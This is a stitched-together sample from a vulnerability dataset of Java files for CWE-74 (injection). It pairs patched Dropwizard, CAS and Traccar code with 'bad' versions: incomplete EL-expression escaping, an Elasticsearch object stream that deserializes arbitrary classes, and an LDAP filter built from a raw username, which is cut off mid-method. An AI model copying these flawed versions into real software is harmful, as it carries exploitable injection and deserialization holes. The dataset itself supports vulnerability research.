m.appendTail(sb);
return sb.toString();
}
/**
* This method returns the wrapped context for raw access to the validation framework. If you use
* the context to add violations make sure to call <code>setViolationOccurred(true)</code>.
*
* @return the wrapped Hibernate ConstraintValidatorContext
*/
public ConstraintValidatorContext getContext() {
return context;
}
/**
* @return if any violation was collected
*/
public boolean hasViolationOccurred() {
return violationOccurred;
}
/**
* Manually sets if a violation occurred. This is automatically set if <code>addViolation</code> is called.
*
* @param violationOccurred if any violation was collected
*/
public void setViolationOccurred(boolean violationOccurred) {
this.violationOccurred = violationOccurred;
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/good_4548_0
|
crossvul-java_data_good_3891_0
|
/*
* Hibernate Validator, declare and validate application constraints
*
* License: Apache License, Version 2.0
* See the license.txt file in the root directory or <http://www.apache.org/licenses/LICENSE-2.0>.
*/
package io.dropwizard.validation;
import javax.annotation.Nullable;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
/**
* Utilities used for message interpolation.
*
* @author Guillaume Smet
* @since 2.0.3
*/
public final class InterpolationHelper {
public static final char BEGIN_TERM = '{';
public static final char END_TERM = '}';
public static final char EL_DESIGNATOR = '$';
public static final char ESCAPE_CHARACTER = '\\';
private static final Pattern ESCAPE_MESSAGE_PARAMETER_PATTERN = Pattern.compile("([\\" + ESCAPE_CHARACTER + BEGIN_TERM + END_TERM + EL_DESIGNATOR + "])");
private InterpolationHelper() {
}
@Nullable
public static String escapeMessageParameter(@Nullable String messageParameter) {
if (messageParameter == null) {
return null;
}
return ESCAPE_MESSAGE_PARAMETER_PATTERN.matcher(messageParameter).replaceAll(Matcher.quoteReplacement(String.valueOf(ESCAPE_CHARACTER)) + "$1");
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/good_3891_0
|
crossvul-java_data_bad_1678_0
|
/*
* Licensed to Elasticsearch under one or more contributor
* license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright
* ownership. Elasticsearch licenses this file to you under
* the Apache License, Version 2.0 (the "License"); you may
* not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.elasticsearch.common.io;
import org.elasticsearch.common.Classes;
import java.io.*;
/**
*
*/
public class ThrowableObjectInputStream extends ObjectInputStream {
private final ClassLoader classLoader;
public ThrowableObjectInputStream(InputStream in) throws IOException {
this(in, null);
}
public ThrowableObjectInputStream(InputStream in, ClassLoader classLoader) throws IOException {
super(in);
this.classLoader = classLoader;
}
@Override
protected void readStreamHeader() throws IOException, StreamCorruptedException {
int version = readByte() & 0xFF;
if (version != STREAM_VERSION) {
throw new StreamCorruptedException(
"Unsupported version: " + version);
}
}
@Override
protected ObjectStreamClass readClassDescriptor()
throws IOException, ClassNotFoundException {
int type = read();
if (type < 0) {
throw new EOFException();
}
switch (type) {
case ThrowableObjectOutputStream.TYPE_EXCEPTION:
return ObjectStreamClass.lookup(Exception.class);
case ThrowableObjectOutputStream.TYPE_STACKTRACEELEMENT:
return ObjectStreamClass.lookup(StackTraceElement.class);
case ThrowableObjectOutputStream.TYPE_FAT_DESCRIPTOR:
return super.readClassDescriptor();
case ThrowableObjectOutputStream.TYPE_THIN_DESCRIPTOR:
String className = readUTF();
Class<?> clazz = loadClass(className);
return ObjectStreamClass.lookup(clazz);
default:
throw new StreamCorruptedException(
"Unexpected class descriptor type: " + type);
}
}
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
String className = desc.getName();
try {
return loadClass(className);
} catch (ClassNotFoundException ex) {
return super.resolveClass(desc);
}
}
protected Class<?> loadClass(String className) throws ClassNotFoundException {
Class<?> clazz;
ClassLoader classLoader = this.classLoader;
if (classLoader == null) {
classLoader = Classes.getDefaultClassLoader();
}
if (classLoader != null) {
clazz = classLoader.loadClass(className);
} else {
clazz = Class.forName(className);
}
return clazz;
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/bad_1678_0
|
crossvul-java_data_good_3891_2
|
package io.dropwizard.validation.selfvalidating;
import com.fasterxml.classmate.AnnotationConfiguration;
import com.fasterxml.classmate.AnnotationInclusion;
import com.fasterxml.classmate.MemberResolver;
import com.fasterxml.classmate.ResolvedTypeWithMembers;
import com.fasterxml.classmate.TypeResolver;
import com.fasterxml.classmate.members.ResolvedMethod;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import javax.validation.ConstraintValidator;
import javax.validation.ConstraintValidatorContext;
import java.lang.reflect.Method;
import java.util.Arrays;
import java.util.List;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.ConcurrentMap;
import java.util.stream.Collectors;
/**
* This class is the base validator for the <code>@SelfValidating</code> annotation. It
* initiates the self validation process on an object, generating wrapping methods to call
* the validation methods efficiently and then calls them.
*/
public class SelfValidatingValidator implements ConstraintValidator<SelfValidating, Object> {
private static final Logger log = LoggerFactory.getLogger(SelfValidatingValidator.class);
@SuppressWarnings("rawtypes")
private final ConcurrentMap<Class<?>, List<ValidationCaller>> methodMap = new ConcurrentHashMap<>();
private final AnnotationConfiguration annotationConfiguration = new AnnotationConfiguration.StdConfiguration(AnnotationInclusion.INCLUDE_AND_INHERIT_IF_INHERITED);
private final TypeResolver typeResolver = new TypeResolver();
private final MemberResolver memberResolver = new MemberResolver(typeResolver);
private boolean escapeExpressions = true;
@Override
public void initialize(SelfValidating constraintAnnotation) {
escapeExpressions = constraintAnnotation.escapeExpressions();
}
@SuppressWarnings({"unchecked", "rawtypes"})
@Override
public boolean isValid(Object value, ConstraintValidatorContext context) {
final ViolationCollector collector = new ViolationCollector(context, escapeExpressions);
context.disableDefaultConstraintViolation();
for (ValidationCaller caller : methodMap.computeIfAbsent(value.getClass(), this::findMethods)) {
caller.setValidationObject(value);
caller.call(collector);
}
return !collector.hasViolationOccurred();
}
/**
* This method generates <code>ValidationCaller</code>s for each method annotated
* with <code>@SelfValidation</code> that adheres to required signature.
*/
@SuppressWarnings({ "rawtypes" })
private <T> List<ValidationCaller> findMethods(Class<T> annotated) {
ResolvedTypeWithMembers annotatedType = memberResolver.resolve(typeResolver.resolve(annotated), annotationConfiguration, null);
final List<ValidationCaller> callers = Arrays.stream(annotatedType.getMemberMethods())
.filter(this::isValidationMethod)
.filter(this::isMethodCorrect)
.map(m -> new ProxyValidationCaller<>(annotated, m))
.collect(Collectors.toList());
if (callers.isEmpty()) {
log.warn("The class {} is annotated with @SelfValidating but contains no valid methods that are annotated " +
"with @SelfValidation", annotated);
}
return callers;
}
private boolean isValidationMethod(ResolvedMethod m) {
return m.get(SelfValidation.class) != null;
}
boolean isMethodCorrect(ResolvedMethod m) {
if (m.getReturnType()!=null) {
log.error("The method {} is annotated with @SelfValidation but does not return void. It is ignored", m.getRawMember());
return false;
} else if (m.getArgumentCount() != 1 || !m.getArgumentType(0).getErasedType().equals(ViolationCollector.class)) {
log.error("The method {} is annotated with @SelfValidation but does not have a single parameter of type {}",
m.getRawMember(), ViolationCollector.class);
return false;
} else if (!m.isPublic()) {
log.error("The method {} is annotated with @SelfValidation but is not public", m.getRawMember());
return false;
}
return true;
}
final static class ProxyValidationCaller<T> extends ValidationCaller<T> {
private final Class<T> cls;
private final ResolvedMethod resolvedMethod;
ProxyValidationCaller(Class<T> cls, ResolvedMethod resolvedMethod) {
this.cls = cls;
this.resolvedMethod = resolvedMethod;
}
@Override
public void call(ViolationCollector vc) {
final Method method = resolvedMethod.getRawMember();
final T obj = cls.cast(getValidationObject());
try {
method.invoke(obj, vc);
} catch (ReflectiveOperationException e) {
throw new IllegalStateException("Couldn't call " + resolvedMethod + " on " + getValidationObject(), e);
}
}
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/good_3891_2
|
crossvul-java_data_good_2195_1
|
/*
* Licensed to Jasig under one or more contributor license
* agreements. See the NOTICE file distributed with this work
* for additional information regarding copyright ownership.
* Jasig licenses this file to you under the Apache License,
* Version 2.0 (the "License"); you may not use this file
* except in compliance with the License. You may obtain a
* copy of the License at the following location:
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.jasig.cas.client.validation;
import java.io.StringReader;
import java.util.*;
import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import org.jasig.cas.client.authentication.AttributePrincipal;
import org.jasig.cas.client.authentication.AttributePrincipalImpl;
import org.jasig.cas.client.proxy.Cas20ProxyRetriever;
import org.jasig.cas.client.proxy.ProxyGrantingTicketStorage;
import org.jasig.cas.client.proxy.ProxyRetriever;
import org.jasig.cas.client.util.CommonUtils;
import org.jasig.cas.client.util.XmlUtils;
import org.xml.sax.Attributes;
import org.xml.sax.InputSource;
import org.xml.sax.SAXException;
import org.xml.sax.XMLReader;
import org.xml.sax.helpers.DefaultHandler;
/**
* Implementation of the TicketValidator that will validate Service Tickets in compliance with the CAS 2.
*
* @author Scott Battaglia
* @since 3.1
*/
public class Cas20ServiceTicketValidator extends AbstractCasProtocolUrlBasedTicketValidator {
/** The CAS 2.0 protocol proxy callback url. */
private String proxyCallbackUrl;
/** The storage location of the proxy granting tickets. */
private ProxyGrantingTicketStorage proxyGrantingTicketStorage;
/** Implementation of the proxy retriever. */
private ProxyRetriever proxyRetriever;
/**
* Constructs an instance of the CAS 2.0 Service Ticket Validator with the supplied
* CAS server url prefix.
*
* @param casServerUrlPrefix the CAS Server URL prefix.
* @param urlFactory URL connection factory to use when communicating with the server
*/
public Cas20ServiceTicketValidator(final String casServerUrlPrefix) {
super(casServerUrlPrefix);
this.proxyRetriever = new Cas20ProxyRetriever(casServerUrlPrefix, getEncoding(), getURLConnectionFactory());
}
/**
* Adds the pgtUrl to the list of parameters to pass to the CAS server.
*
* @param urlParameters the Map containing the existing parameters to send to the server.
*/
protected final void populateUrlAttributeMap(final Map<String, String> urlParameters) {
urlParameters.put("pgtUrl", this.proxyCallbackUrl);
}
protected String getUrlSuffix() {
return "serviceValidate";
}
protected final Assertion parseResponseFromServer(final String response) throws TicketValidationException {
final String error = XmlUtils.getTextForElement(response, "authenticationFailure");
if (CommonUtils.isNotBlank(error)) {
throw new TicketValidationException(error);
}
final String principal = XmlUtils.getTextForElement(response, "user");
final String proxyGrantingTicketIou = XmlUtils.getTextForElement(response, "proxyGrantingTicket");
final String proxyGrantingTicket;
if (CommonUtils.isBlank(proxyGrantingTicketIou) || this.proxyGrantingTicketStorage == null) {
proxyGrantingTicket = null;
} else {
proxyGrantingTicket = this.proxyGrantingTicketStorage.retrieve(proxyGrantingTicketIou);
}
if (CommonUtils.isEmpty(principal)) {
throw new TicketValidationException("No principal was found in the response from the CAS server.");
}
final Assertion assertion;
final Map<String, Object> attributes = extractCustomAttributes(response);
if (CommonUtils.isNotBlank(proxyGrantingTicket)) {
final AttributePrincipal attributePrincipal = new AttributePrincipalImpl(principal, attributes,
proxyGrantingTicket, this.proxyRetriever);
assertion = new AssertionImpl(attributePrincipal);
} else {
assertion = new AssertionImpl(new AttributePrincipalImpl(principal, attributes));
}
customParseResponse(response, assertion);
return assertion;
}
/**
* Default attribute parsing of attributes that look like the following:
* <cas:attributes>
* <cas:attribute1>value</cas:attribute1>
* <cas:attribute2>value</cas:attribute2>
* </cas:attributes>
* <p>
*
* Attributes look like following also parsed correctly:
* <cas:attributes><cas:attribute1>value</cas:attribute1><cas:attribute2>value</cas:attribute2></cas:attributes>
* <p>
*
* This code is here merely for sample/demonstration purposes for those wishing to modify the CAS2 protocol. You'll
* probably want a more robust implementation or to use SAML 1.1
*
* @param xml the XML to parse.
* @return the map of attributes.
*/
protected Map<String, Object> extractCustomAttributes(final String xml) {
final SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setNamespaceAware(true);
spf.setValidating(false);
try {
final SAXParser saxParser = spf.newSAXParser();
final XMLReader xmlReader = saxParser.getXMLReader();
final CustomAttributeHandler handler = new CustomAttributeHandler();
xmlReader.setContentHandler(handler);
xmlReader.parse(new InputSource(new StringReader(xml)));
return handler.getAttributes();
} catch (final Exception e) {
logger.error(e.getMessage(), e);
return Collections.emptyMap();
}
}
/**
* Template method if additional custom parsing (such as Proxying) needs to be done.
*
* @param response the original response from the CAS server.
* @param assertion the partially constructed assertion.
* @throws TicketValidationException if there is a problem constructing the Assertion.
*/
protected void customParseResponse(final String response, final Assertion assertion)
throws TicketValidationException {
// nothing to do
}
public final void setProxyCallbackUrl(final String proxyCallbackUrl) {
this.proxyCallbackUrl = proxyCallbackUrl;
}
public final void setProxyGrantingTicketStorage(final ProxyGrantingTicketStorage proxyGrantingTicketStorage) {
this.proxyGrantingTicketStorage = proxyGrantingTicketStorage;
}
public final void setProxyRetriever(final ProxyRetriever proxyRetriever) {
this.proxyRetriever = proxyRetriever;
}
protected final String getProxyCallbackUrl() {
return this.proxyCallbackUrl;
}
protected final ProxyGrantingTicketStorage getProxyGrantingTicketStorage() {
return this.proxyGrantingTicketStorage;
}
protected final ProxyRetriever getProxyRetriever() {
return this.proxyRetriever;
}
private class CustomAttributeHandler extends DefaultHandler {
private Map<String, Object> attributes;
private boolean foundAttributes;
private String currentAttribute;
private StringBuilder value;
@Override
public void startDocument() throws SAXException {
this.attributes = new HashMap<String, Object>();
}
@Override
public void startElement(final String namespaceURI, final String localName, final String qName,
final Attributes attributes) throws SAXException {
if ("attributes".equals(localName)) {
this.foundAttributes = true;
} else if (this.foundAttributes) {
this.value = new StringBuilder();
this.currentAttribute = localName;
}
}
@Override
public void characters(final char[] chars, final int start, final int length) throws SAXException {
if (this.currentAttribute != null) {
value.append(chars, start, length);
}
}
@Override
public void endElement(final String namespaceURI, final String localName, final String qName)
throws SAXException {
if ("attributes".equals(localName)) {
this.foundAttributes = false;
this.currentAttribute = null;
} else if (this.foundAttributes) {
final Object o = this.attributes.get(this.currentAttribute);
if (o == null) {
this.attributes.put(this.currentAttribute, this.value.toString());
} else {
final List<Object> items;
if (o instanceof List) {
items = (List<Object>) o;
} else {
items = new LinkedList<Object>();
items.add(o);
this.attributes.put(this.currentAttribute, items);
}
items.add(this.value.toString());
}
}
}
public Map<String, Object> getAttributes() {
return this.attributes;
}
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/good_2195_1
|
crossvul-java_data_good_4390_0
|
package com.browserup.bup.rest.validation;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import javax.validation.Constraint;
import javax.validation.ConstraintValidator;
import javax.validation.ConstraintValidatorContext;
import javax.validation.Payload;
import com.browserup.bup.rest.validation.util.MessageSanitizer;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
@Retention(RetentionPolicy.RUNTIME)
@Constraint(validatedBy = { LongPositiveConstraint.LongPositiveValidator.class })
public @interface LongPositiveConstraint {
String message() default "";
String paramName() default "";
Class<?>[] groups() default {};
int value();
Class<? extends Payload>[] payload() default {};
class LongPositiveValidator implements ConstraintValidator<LongPositiveConstraint, String> {
private static final Logger LOG = LoggerFactory.getLogger(LongPositiveValidator.class);
@Override
public void initialize(LongPositiveConstraint constraintAnnotation) {
}
@Override
public boolean isValid(String value, ConstraintValidatorContext context) {
long longValue = 0;
boolean failed = false;
String errorMessage = "";
try {
longValue = Long.parseLong(value);
} catch (NumberFormatException ex) {
failed = true;
String escapedValue = MessageSanitizer.escape(value);
errorMessage = String.format("Invalid integer value: '%s'", escapedValue);
}
if (!failed && longValue < 0) {
failed = true;
String escapedValue = MessageSanitizer.escape(value);
errorMessage = String.format("Expected positive integer value, got: '%s'", escapedValue);
}
if (!failed) {
return true;
}
LOG.warn(errorMessage);
context.buildConstraintViolationWithTemplate(errorMessage).addConstraintViolation();
return false;
}
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/good_4390_0
|
crossvul-java_data_bad_2195_2
|
/*
* Licensed to Jasig under one or more contributor license
* agreements. See the NOTICE file distributed with this work
* for additional information regarding copyright ownership.
* Jasig licenses this file to you under the Apache License,
* Version 2.0 (the "License"); you may not use this file
* except in compliance with the License. You may obtain a
* copy of the License at the following location:
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.jasig.cas.client.validation;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.fail;
import java.io.UnsupportedEncodingException;
import org.jasig.cas.client.PublicTestHttpServer;
import org.junit.Before;
import org.junit.Test;
/**
* Test cases for the {@link Cas10TicketValidator}.
*
* @author Scott Battaglia
* @version $Revision: 11731 $ $Date: 2007-09-27 11:27:21 -0400 (Wed, 27 Sep 2007) $
* @since 3.0
*/
public final class Cas10TicketValidatorTests extends AbstractTicketValidatorTests {
private static final PublicTestHttpServer server = PublicTestHttpServer.instance(8090);
private Cas10TicketValidator ticketValidator;
public Cas10TicketValidatorTests() {
super();
}
/*@AfterClass
public static void classCleanUp() {
server.shutdown();
} */
@Before
public void setUp() throws Exception {
this.ticketValidator = new Cas10TicketValidator(CONST_CAS_SERVER_URL_PREFIX + "8090");
}
@Test
public void testNoResponse() throws Exception {
server.content = "no\n\n".getBytes(server.encoding);
try {
this.ticketValidator.validate("testTicket", "myService");
fail("ValidationException expected.");
} catch (final TicketValidationException e) {
// expected
}
}
@Test
public void testYesResponse() throws TicketValidationException, UnsupportedEncodingException {
server.content = "yes\nusername\n\n".getBytes(server.encoding);
final Assertion assertion = this.ticketValidator.validate("testTicket", "myService");
assertEquals(CONST_USERNAME, assertion.getPrincipal().getName());
}
@Test
public void testBadResponse() throws UnsupportedEncodingException {
server.content = "falalala\n\n".getBytes(server.encoding);
try {
this.ticketValidator.validate("testTicket", "myService");
fail("ValidationException expected.");
} catch (final TicketValidationException e) {
// expected
}
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/bad_2195_2
|
crossvul-java_data_good_4549_0
|
/*
* Copyright 2017 - 2020 Anton Tananaev (anton@traccar.org)
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.traccar.database;
import javax.naming.Context;
import javax.naming.NamingEnumeration;
import javax.naming.NamingException;
import javax.naming.directory.Attribute;
import javax.naming.directory.InitialDirContext;
import javax.naming.directory.SearchControls;
import javax.naming.directory.SearchResult;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.traccar.config.Config;
import org.traccar.model.User;
import java.util.Hashtable;
public class LdapProvider {
private static final Logger LOGGER = LoggerFactory.getLogger(LdapProvider.class);
private String url;
private String searchBase;
private String idAttribute;
private String nameAttribute;
private String mailAttribute;
private String searchFilter;
private String adminFilter;
private String serviceUser;
private String servicePassword;
public LdapProvider(Config config) {
String url = config.getString("ldap.url");
if (url != null) {
this.url = url;
} else {
this.url = "ldap://" + config.getString("ldap.server") + ":" + config.getInteger("ldap.port", 389);
}
this.searchBase = config.getString("ldap.base");
this.idAttribute = config.getString("ldap.idAttribute", "uid");
this.nameAttribute = config.getString("ldap.nameAttribute", "cn");
this.mailAttribute = config.getString("ldap.mailAttribute", "mail");
this.searchFilter = config.getString("ldap.searchFilter", "(" + idAttribute + "=:login)");
String adminGroup = config.getString("ldap.adminGroup");
this.adminFilter = config.getString("ldap.adminFilter");
if (this.adminFilter == null && adminGroup != null) {
this.adminFilter = "(&(" + idAttribute + "=:login)(memberOf=" + adminGroup + "))";
}
this.serviceUser = config.getString("ldap.user");
this.servicePassword = config.getString("ldap.password");
}
private InitialDirContext auth(String accountName, String password) throws NamingException {
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, url);
env.put(Context.SECURITY_AUTHENTICATION, "simple");
env.put(Context.SECURITY_PRINCIPAL, accountName);
env.put(Context.SECURITY_CREDENTIALS, password);
return new InitialDirContext(env);
}
private boolean isAdmin(String accountName) {
if (this.adminFilter != null) {
try {
InitialDirContext context = initContext();
String searchString = adminFilter.replace(":login", encodeForLdap(accountName));
SearchControls searchControls = new SearchControls();
searchControls.setSearchScope(SearchControls.SUBTREE_SCOPE);
NamingEnumeration<SearchResult> results = context.search(searchBase, searchString, searchControls);
if (results.hasMoreElements()) {
results.nextElement();
if (results.hasMoreElements()) {
LOGGER.warn("Matched multiple users for the accountName: " + accountName);
return false;
}
return true;
}
} catch (NamingException e) {
return false;
}
}
return false;
}
public InitialDirContext initContext() throws NamingException {
return auth(serviceUser, servicePassword);
}
private SearchResult lookupUser(String accountName) throws NamingException {
InitialDirContext context = initContext();
String searchString = searchFilter.replace(":login", encodeForLdap(accountName));
SearchControls searchControls = new SearchControls();
String[] attributeFilter = {idAttribute, nameAttribute, mailAttribute};
searchControls.setReturningAttributes(attributeFilter);
searchControls.setSearchScope(SearchControls.SUBTREE_SCOPE);
NamingEnumeration<SearchResult> results = context.search(searchBase, searchString, searchControls);
SearchResult searchResult = null;
if (results.hasMoreElements()) {
searchResult = results.nextElement();
if (results.hasMoreElements()) {
LOGGER.warn("Matched multiple users for the accountName: " + accountName);
return null;
}
}
return searchResult;
}
public User getUser(String accountName) {
SearchResult ldapUser;
User user = new User();
try {
ldapUser = lookupUser(accountName);
if (ldapUser != null) {
Attribute attribute = ldapUser.getAttributes().get(idAttribute);
if (attribute != null) {
user.setLogin((String) attribute.get());
} else {
user.setLogin(accountName);
}
attribute = ldapUser.getAttributes().get(nameAttribute);
if (attribute != null) {
user.setName((String) attribute.get());
} else {
user.setName(accountName);
}
attribute = ldapUser.getAttributes().get(mailAttribute);
if (attribute != null) {
user.setEmail((String) attribute.get());
} else {
user.setEmail(accountName);
}
}
user.setAdministrator(isAdmin(accountName));
} catch (NamingException e) {
user.setLogin(accountName);
user.setName(accountName);
user.setEmail(accountName);
LOGGER.warn("User lookup error", e);
}
return user;
}
public boolean login(String username, String password) {
try {
SearchResult ldapUser = lookupUser(username);
if (ldapUser != null) {
auth(ldapUser.getNameInNamespace(), password).close();
return true;
}
} catch (NamingException e) {
return false;
}
return false;
}
public String encodeForLdap(String input) {
if( input == null ) {
return null;
}
StringBuilder sb = new StringBuilder();
for (int i = 0; i < input.length(); i++) {
char c = input.charAt(i);
switch (c) {
case '\\':
sb.append("\\5c");
break;
case '*':
sb.append("\\2a");
break;
case '(':
sb.append("\\28");
break;
case ')':
sb.append("\\29");
break;
case '\0':
sb.append("\\00");
break;
default:
sb.append(c);
}
}
return sb.toString();
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/good_4549_0
|
crossvul-java_data_bad_1678_1
|
/*
* Licensed to Elasticsearch under one or more contributor
* license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright
* ownership. Elasticsearch licenses this file to you under
* the Apache License, Version 2.0 (the "License"); you may
* not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.elasticsearch.common.io;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.ObjectStreamClass;
import java.io.OutputStream;
/**
*
*/
public class ThrowableObjectOutputStream extends ObjectOutputStream {
static final int TYPE_FAT_DESCRIPTOR = 0;
static final int TYPE_THIN_DESCRIPTOR = 1;
private static final String EXCEPTION_CLASSNAME = Exception.class.getName();
static final int TYPE_EXCEPTION = 2;
private static final String STACKTRACEELEMENT_CLASSNAME = StackTraceElement.class.getName();
static final int TYPE_STACKTRACEELEMENT = 3;
public ThrowableObjectOutputStream(OutputStream out) throws IOException {
super(out);
}
@Override
protected void writeStreamHeader() throws IOException {
writeByte(STREAM_VERSION);
}
@Override
protected void writeClassDescriptor(ObjectStreamClass desc) throws IOException {
if (desc.getName().equals(EXCEPTION_CLASSNAME)) {
write(TYPE_EXCEPTION);
} else if (desc.getName().equals(STACKTRACEELEMENT_CLASSNAME)) {
write(TYPE_STACKTRACEELEMENT);
} else {
Class<?> clazz = desc.forClass();
if (clazz.isPrimitive() || clazz.isArray()) {
write(TYPE_FAT_DESCRIPTOR);
super.writeClassDescriptor(desc);
} else {
write(TYPE_THIN_DESCRIPTOR);
writeUTF(desc.getName());
}
}
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/bad_1678_1
|
crossvul-java_data_bad_3891_3
|
package io.dropwizard.validation.selfvalidating;
import javax.annotation.Nullable;
import javax.validation.ConstraintValidatorContext;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
/**
* This class is a simple wrapper around the ConstraintValidatorContext of hibernate validation.
* It collects all the violations of the SelfValidation methods of an object.
*/
public class ViolationCollector {
private static final Pattern ESCAPE_PATTERN = Pattern.compile("\\$\\{");
private boolean violationOccurred = false;
private ConstraintValidatorContext context;
public ViolationCollector(ConstraintValidatorContext context) {
this.context = context;
}
/**
* Adds a new violation to this collector. This also sets {@code violationOccurred} to {@code true}.
*
* @param message the message of the violation (any EL expression will be escaped and not parsed)
*/
public void addViolation(String message) {
violationOccurred = true;
String messageTemplate = escapeEl(message);
context.buildConstraintViolationWithTemplate(messageTemplate)
.addConstraintViolation();
}
/**
* Adds a new violation to this collector. This also sets {@code violationOccurred} to {@code true}.
*
* @param propertyName the name of the property
* @param message the message of the violation (any EL expression will be escaped and not parsed)
* @since 2.0.2
*/
public void addViolation(String propertyName, String message) {
violationOccurred = true;
String messageTemplate = escapeEl(message);
context.buildConstraintViolationWithTemplate(messageTemplate)
.addPropertyNode(propertyName)
.addConstraintViolation();
}
/**
* Adds a new violation to this collector. This also sets {@code violationOccurred} to {@code true}.
*
* @param propertyName the name of the property with the violation
* @param index the index of the element with the violation
* @param message the message of the violation (any EL expression will be escaped and not parsed)
* @since 2.0.2
*/
public void addViolation(String propertyName, Integer index, String message) {
violationOccurred = true;
String messageTemplate = escapeEl(message);
context.buildConstraintViolationWithTemplate(messageTemplate)
.addPropertyNode(propertyName)
.addBeanNode().inIterable().atIndex(index)
.addConstraintViolation();
}
/**
* Adds a new violation to this collector. This also sets {@code violationOccurred} to {@code true}.
*
* @param propertyName the name of the property with the violation
* @param key the key of the element with the violation
* @param message the message of the violation (any EL expression will be escaped and not parsed)
* @since 2.0.2
*/
public void addViolation(String propertyName, String key, String message) {
violationOccurred = true;
String messageTemplate = escapeEl(message);
context.buildConstraintViolationWithTemplate(messageTemplate)
.addPropertyNode(propertyName)
.addBeanNode().inIterable().atKey(key)
.addConstraintViolation();
}
@Nullable
private String escapeEl(@Nullable String s) {
if (s == null || s.isEmpty()) {
return s;
}
final Matcher m = ESCAPE_PATTERN.matcher(s);
final StringBuffer sb = new StringBuffer(s.length() + 16);
while (m.find()) {
m.appendReplacement(sb, "\\\\\\${");
}
m.appendTail(sb);
return sb.toString();
}
/**
* This method returns the wrapped context for raw access to the validation framework. If you use
* the context to add violations make sure to call <code>setViolationOccurred(true)</code>.
*
* @return the wrapped Hibernate ConstraintValidatorContext
*/
public ConstraintValidatorContext getContext() {
return context;
}
/**
* @return if any violation was collected
*/
public boolean hasViolationOccurred() {
return violationOccurred;
}
/**
* Manually sets if a violation occurred. This is automatically set if <code>addViolation</code> is called.
*
* @param violationOccurred if any violation was collected
*/
public void setViolationOccurred(boolean violationOccurred) {
this.violationOccurred = violationOccurred;
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/bad_3891_3
|
crossvul-java_data_good_1898_2
|
package io.onedev.server.product;
public class Test {
@org.junit.Test
public void test() {
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/good_1898_2
|
crossvul-java_data_bad_1465_0
|
/*
* Licensed to Jasig under one or more contributor license
* agreements. See the NOTICE file distributed with this work
* for additional information regarding copyright ownership.
* Jasig licenses this file to you under the Apache License,
* Version 2.0 (the "License"); you may not use this file
* except in compliance with the License. You may obtain a
* copy of the License at the following location:
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.jasig.cas.util;
import java.util.HashMap;
import java.util.Map;
import java.util.regex.Matcher;
import javax.naming.NamingException;
import javax.naming.directory.DirContext;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.ldap.core.LdapEncoder;
/**
* Utilities related to LDAP functions.
*
* @author Scott Battaglia
* @version $Revision$ $Date$
* @since 3.0
*/
public final class LdapUtils {
private static final Logger logger = LoggerFactory.getLogger(LdapUtils.class);
private LdapUtils() {
// private constructor so that no one can instantiate.
}
/**
* Utility method to replace the placeholders in the filter with the proper
* values from the userName.
*
* @param filter
* @param userName
* @return the filtered string populated with the username
*/
public static String getFilterWithValues(final String filter,
final String userName) {
final Map<String, String> properties = new HashMap<String, String>();
final String[] userDomain;
String newFilter = filter;
properties.put("%u", userName);
userDomain = userName.split("@");
